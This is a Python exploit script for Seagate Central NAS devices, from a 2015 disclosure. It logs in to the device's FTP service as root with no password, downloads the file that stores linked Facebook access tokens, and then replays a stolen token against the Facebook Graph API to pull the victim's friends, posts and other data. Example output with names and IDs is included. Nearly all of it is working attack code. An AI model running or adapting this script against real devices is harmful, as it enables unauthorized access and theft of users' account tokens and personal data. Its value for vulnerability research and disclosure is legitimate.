116 lines
No EOL
3 KiB
Python
Executable file
116 lines
No EOL
3 KiB
Python
Executable file
#!/usr/bin/python
|
|
# seagate_central_facebook.py
|
|
#
|
|
# Seagate Central Remote Facebook Access Token Exploit
|
|
#
|
|
# Jeremy Brown [jbrown3264/gmail]
|
|
# May 2015
|
|
#
|
|
# -Synopsis-
|
|
#
|
|
# Seagate Central stores linked Facebook account access tokens in /etc/archive_accounts.ser
|
|
# and this exploit takes advantage of two bugs:
|
|
#
|
|
# 1) Passwordless root login via FTP to retrieve archive_accounts.ser file which contains access tokens
|
|
# 2) Reuses the unencrypted and unprotected (-rw-r--r--) access tokens for a chosen scope to return data
|
|
#
|
|
# -Example-
|
|
#
|
|
# > seagate_fb_accounts.py getaccesstoken 1.2.3.4
|
|
#
|
|
# 'archive_accounts.ser'
|
|
#
|
|
# a:1:{s:8:"facebook";a:1:{s:29:"user3535@facebook.com";a:5:{s:7:"service";s:8:"facebook";s:4:
|
|
# "user";s:29:"user3535@facebook.com";s:5:"owner";s:4:"test";s:6:"folder";s:7:"private";s:5:"t
|
|
# oken";s:186:"CAAxxxxxxxx..."
|
|
# ;}}}
|
|
#
|
|
# Next, try this:
|
|
#
|
|
# > seagate_fb_accounts.py CAAxxxxxxxx... friends
|
|
# server response:
|
|
#
|
|
# {'data': [{'name': 'Jessie Taylor', 'id': '100000937485968'}, {'name': 'Kellie Youty', 'id': '1
|
|
# 00000359801427'}, {'name': 'Hope Maynard', 'id': '10000102938470'}, {'name': 'Angel Tucker Pole', 'id'
|
|
# : '100001402808867'}, {'name': 'Malcolm Vance', 'id': '10000284629187'}, {'name': 'Tucker Civile', 'id':
|
|
# .....
|
|
#
|
|
# Scopes Reference: https://developers.facebook.com/docs/graph-api/reference/v2.1/user
|
|
#
|
|
# -Fixes-
|
|
#
|
|
# Seagate scheduled updates to go live on April 28th, 2015.
|
|
#
|
|
# Tested version: 2014.0410.0026-F
|
|
#
|
|
|
|
import sys
|
|
import json
|
|
from urllib import request # python3
|
|
from ftplib import FTP
|
|
|
|
fb_url = "https://graph.facebook.com"
|
|
fb_filename = "archive_accounts.ser"
|
|
|
|
def getaccesstoken(host):
|
|
try:
|
|
ftp = FTP(host)
|
|
ftp.login("root")
|
|
ftp.retrbinary("RETR " + "/etc/" + fb_filename, open(fb_filename, 'wb').write)
|
|
ftp.close()
|
|
|
|
except Exception as error:
|
|
print("Error: %s" % error)
|
|
return
|
|
|
|
try:
|
|
with open(fb_filename, 'r') as file:
|
|
data = file.read()
|
|
|
|
except Exception as error:
|
|
print("Error: %s" % error)
|
|
return
|
|
|
|
print("\n'%s'\n\n%s\n\n" % (fb_filename, data))
|
|
|
|
return
|
|
|
|
def main():
|
|
if(len(sys.argv) < 2):
|
|
print("Usage: %s <key> <scope> OR getaccesstoken <host>\n" % sys.argv[0])
|
|
print("scopes: albums feed friends likes picture posts television")
|
|
return
|
|
|
|
if(sys.argv[1] == "getaccesstoken"):
|
|
if(len(sys.argv) == 3):
|
|
host = sys.argv[2]
|
|
|
|
res = getaccesstoken(host)
|
|
|
|
else:
|
|
print("Error: need host to retrieve access token file\n")
|
|
return
|
|
|
|
else:
|
|
key = sys.argv[1]
|
|
|
|
if(len(sys.argv) == 3):
|
|
scope = sys.argv[2]
|
|
else:
|
|
scope = ""
|
|
|
|
try:
|
|
response = request.urlopen(fb_url + "/me/" + scope + "?access_token=" + key).read()
|
|
|
|
except Exception as error:
|
|
print("Error: %s" % error)
|
|
return
|
|
|
|
data = json.loads(response.decode('utf-8'))
|
|
|
|
print("server response:\n\n%s\n" % data)
|
|
|
|
return
|
|
|
|
if __name__ == "__main__":
|
|
main() |